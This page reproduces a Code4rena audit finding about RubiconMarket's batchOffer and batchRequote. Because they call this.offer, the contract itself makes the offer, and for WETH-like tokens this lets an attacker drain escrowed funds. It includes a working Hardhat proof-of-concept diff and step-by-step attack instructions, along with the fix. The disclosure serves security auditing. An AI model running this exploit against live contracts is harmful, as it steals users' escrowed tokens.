Skip to content
Access control Audit finding Intermediate

RubiconMarket batchOffer and batchRequote make offers as self; complete loss of funds for some types of tokens, for example WETH

The batchOffer and batchRequote functions in RubiconMarket call offer via this.offer, causing the offer to be made by the contract itself rather than the original sender. An attacker can exploit this to make the contract offer its entire balance of a token like WETH for a worthless token, then take the offer and steal the funds.

shalaamum Follow with nirlin, Lirios and 8 others

Originally disclosed on Code4rena

Submitted by shalaamum, also found by nirlin, Lirios, carrotsmuggler, BGSecurity, Inspex, DedOhWale, Lirios, tallo, nobody2018, and T1MOH.

https://github.com/code-423n4/2023-04-rubicon/blob/511636d889742296a54392875a35e4c0c4727bb7/contracts/RubiconMarket.sol#L900 https://github.com/code-423n4/2023-04-rubicon/blob/511636d889742296a54392875a35e4c0c4727bb7/contracts/RubiconMarket.sol#L926

The RubiconMarket functions batchOffer and batchRequote both contain calls to offer as follows:

this.offer(
    payAmts[i],
    ERC20(payGems[i]),
    buyAmts[i],
    ERC20(buyGems[i])
);

But calling offer using this.offer will use a message call instead of a jump. This means that in offer, the value of msg.sender will be the address of the RubiconMarket contract, not of the original sender. Hence, the offer will be made by the RubiconMarket itself.

An attacker can use this to make RubiconMarket offer all its balance of a particular token (possibly in exchange for a token the attacker created, at effectively zero cost), with the attacker then taking the offer and thereby stealing RubiconMarket’s entire balance for that token.

For this attack to work, the RubiconMarket must be able to actually make the offer itself; the crucial condition here is in line 538.

require(pay_gem.transferFrom(msg.sender, address(this), pay_amt));

In the offer function of SimpleMarket, it must not revert if this call is made by the RubiconMarket contract and msg.sender is also the same contract, even though RubiconMarket did not approve a transfer to itself.

Whether this condition is satisfied will depend on the token. For example, in the standard ERC20 token contract by OpenZeppelin, this condition is not satisfied. However, in the WETH contract, the check in the transferFrom function is.

if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
    require(allowance[src][msg.sender] >= wad);
    allowance[src][msg.sender] -= wad;
}

If the caller is also the src, then it is not necessary to approve the transfer beforehand. This means the vulnerability outlined above can be used to drain all WETH held by a RubiconMarket, and possibly the balance in other tokens where transferFrom is implemented similarly.

Proof of Concept

After applying the diff below, run:

npx hardhat test --grep "ShalaamumMarketThis"

To run the POC, the output should contain the following:

  Rubicon v2 Protocol Tests
    ShalaamumMarketThis
      ✓ Initialized Market
      ✓ attacker has 1 ETH and 0 WETH
      ✓ attacker deploys own attackerCoin
      ✓ rubiconMarket holds 10 WETH
      ✓ Attacker exploiting vulnerability and making market offer assets held in escrow
      ✓ Attacker taking offer
      ✓ rubiconMarket holds 0 WETH
      ✓ attacker holds 10 WETH

The POC demonstrates how an attacker can deploy their own token and then use batchOffer to make the RubiconMarket offer its entire balance of WETH for some of the attacker’s token. The attacker then takes that offer at no cost (except some gas) and thereby steals the 10 WETH the RubiconMarket held in escrow for previous unfilled offers.

Files to change

Apply the following diff to test/hardhat-tests/ProtocolDeployment.ts:

diff --git a/test/hardhat-tests/ProtocolDeployment.ts b/test/hardhat-tests/ProtocolDeployment.ts
index b55d879..0b8e6ba 100644
--- a/test/hardhat-tests/ProtocolDeployment.ts
+++ b/test/hardhat-tests/ProtocolDeployment.ts
@@ -1,4 +1,4 @@
-import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
+import { time, loadFixture, setBalance } from "@nomicfoundation/hardhat-network-helpers";
 import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
 import { expect } from "chai";
 import { ethers, network } from "hardhat";
@@ -213,6 +213,77 @@ describe("Rubicon v2 Protocol Tests", function () {
     };
   }

+  describe("ShalaamumMarketThis", function () {
+    let rubiconMarket, weth, attacker;
+    let attackerCoin;
+    const attackerBalanceStart = 10n**18n;
+    let marketWethStart;
+
+    before(async function () {
+      let otherAccount;
+      ({ rubiconMarket, weth, otherAccount } = await loadFixture(
+        deployRubiconProtocolFixture
+      ));
+      attacker = otherAccount;
+    });
+
+    it("Initialized Market", async function () {
+      expect(await rubiconMarket.initialized()).to.equal(true);
+    });
+
+    it("attacker has 1 ETH and 0 WETH", async function () {
+      setBalance(attacker.address, attackerBalanceStart);
+      expect(await ethers.provider.getBalance(attacker.address)).eq(attackerBalanceStart);
+      expect(await weth.balanceOf(attacker.address)).eq(0);
+    });
+
+    it("attacker deploys own attackerCoin", async function () {
+      const testCoinFactory = await ethers.getContractFactory("TokenWithFaucet", attacker);
+      attackerCoin = await testCoinFactory.deploy(
+        attacker.address,
+        "AttackerCoin",
+        "ATTACKCOIN",
+        18
+      );
+      await attackerCoin.connect(attacker).adminMint();
+      expect(await attackerCoin.balanceOf(attacker.address)).to.be.gte(1);
+    });
+
+    it("rubiconMarket holds 10 WETH", async function () {
+      marketWethStart = await weth.balanceOf(rubiconMarket.address);
+      expect(marketWethStart).eq(10n*10n**18n);
+    });
+
+    it("Attacker exploiting vulnerability and causing market to offer assets held in escrow", async function () {
+      await rubiconMarket.connect(attacker).batchOffer(
+        [marketWethStart],
+        [weth.address],
+        [1],
+        [attackerCoin.address]
+      );
+    });
+
+    it("Attacker taking offer", async function () {
+      let lastOfferId = await rubiconMarket.last_offer_id();
+      await attackerCoin.connect(attacker).approve(
+        rubiconMarket.address,
+        1
+      )
+      await rubiconMarket.connect(attacker).buy(
+        lastOfferId,
+        marketWethStart.mul(10000).div(9999)
+      );
+    });
+
+    it("rubiconMarket holds 0 WETH", async function () {
+      expect(await weth.balanceOf(rubiconMarket.address)).eq(0);
+    });
+
+    it("attacker holds 10 WETH", async function () {
+      expect(await weth.balanceOf(attacker.address)).eq(10n*10n**18n);
+    });
+  });
+
   describe("Protocol Tests", async function () {
     // *** Core ***
     describe("Rubicon Market", function () {

Mitigation

Change this.offer to offer. As the offer function is currently external, it will have to be changed to public.

bghughes (Rubicon) confirmed

HickupHH3 (judge) commented:

  • Satisfactory: How funds can be drained for token implementations that skip approvals when src is msg.sender / src == dest.
  • 50%: Reverting txns from insufficient token approval.

The original report as published on Code4rena, by shalaamum. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

For tokens like WETH that skip approval checks when the sender and source are the same, an attacker can drain the market's entire balance of that token; for tokens with standard approval checks, the attack fails because the transferFrom reverts.

What the attacker needed

Market holds a vulnerable token like WETH; Attacker can deploy a token contract; Attacker has a small amount of their own token

The fix

Change this.offer to offer and make the offer function public instead of external.

How it was found

  1. Attacker deploys their own token contract.
  2. Attacker calls batchOffer on RubiconMarket, specifying WETH as the pay token and their own token as the buy token, with amounts that make the market offer its entire WETH balance for a tiny amount of the attacker's token.
  3. Attacker approves the market to spend their token and calls buy on the newly created offer, paying the tiny amount and receiving all the WETH.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a smart contract calls its own function using this.functionName, the call is treated as coming from the contract itself, not from the person who initiated the transaction. Here, the batchOffer function does this, so the offer is recorded as being made by the market contract. If the token allows the contract to move its own funds without approval (like WETH does), an attacker can trick the market into offering its own tokens for sale at a price they set, then buy them for almost nothing.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.